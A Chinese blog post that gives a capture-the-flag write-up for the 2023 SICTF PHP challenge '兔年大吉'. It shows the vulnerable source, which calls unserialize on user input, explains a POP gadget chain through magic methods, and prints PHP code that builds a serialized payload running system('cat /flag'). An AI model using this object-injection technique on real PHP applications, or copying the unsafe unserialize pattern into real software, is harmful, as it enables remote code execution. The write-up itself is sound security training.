[2023 SICTF]兔年大吉

首先先上pop链构造基础
__construct()  //当对象创建时触发
__destruct()   //当对象销毁时触发
__wakeup()     //当使用unserialize时触发
__sleep()     //当使用serialize时触发
__destruct()  //当对象被销毁时触发
__call()      //当对象上下文中调用不可访问的方法时触发
__get()       //当访问不可访问或不存在的属性时触发
__set()       //当设置不可访问或不存在属性时触发
__toString()  //当把类当作字符串使用时触发
__invoke()    //当对象调用为函数时触发

题目

<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
}else {
    echo "过新年啊~过个吉祥年~";
}
?>

POP链构造思路

  1. 首先发现Happy类中有call_user_func代码执行函数,条件为触发__call()
  2. Nevv中存在调用不可调用的check()方法, 条件为触发__invoke()
  3. Year 类中发现$name()可触发invoke方法,条件为触发__get()
  4. Rabbit类中family为不可访问属性,触发__get(),条件为触发__set()
  5. Year 类方法中发现firecrackers()可触发__set() ,条件为类属性key="happy new year"

伪思路代码构造

$Year = new Year("happy new year")
$Year->rabbit = new Rabbit()
//因为不需要调用firecrackers()
$Year->rabbit->aspiration = new Year("xx")
$Year->rabbit->aspiration->rabbit = new Nevv()
$Year->rabbit->aspiration->rabbit->happiness = new Happy("system", "cat /flag");

由于private存在,因此构造payload的php就需要添加构造函数

Payload生成代码

<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __construct(){
        $this->happiness = new Happy("system", "cat /flag");
    }

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __construct(){
        $this->aspiration = new Year("xx");
        $this->aspiration->rabbit = new Nevv();
    }
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

$year = new Year("happy new year");
$year->rabbit = new Rabbit();
// serialize
echo serialize($year)."<br/>";
echo urlencode(serialize($year))."<br/>";

?>
posted @ 2023-01-20 16:20  張冰冰  阅读(266)  评论(0编辑  收藏  举报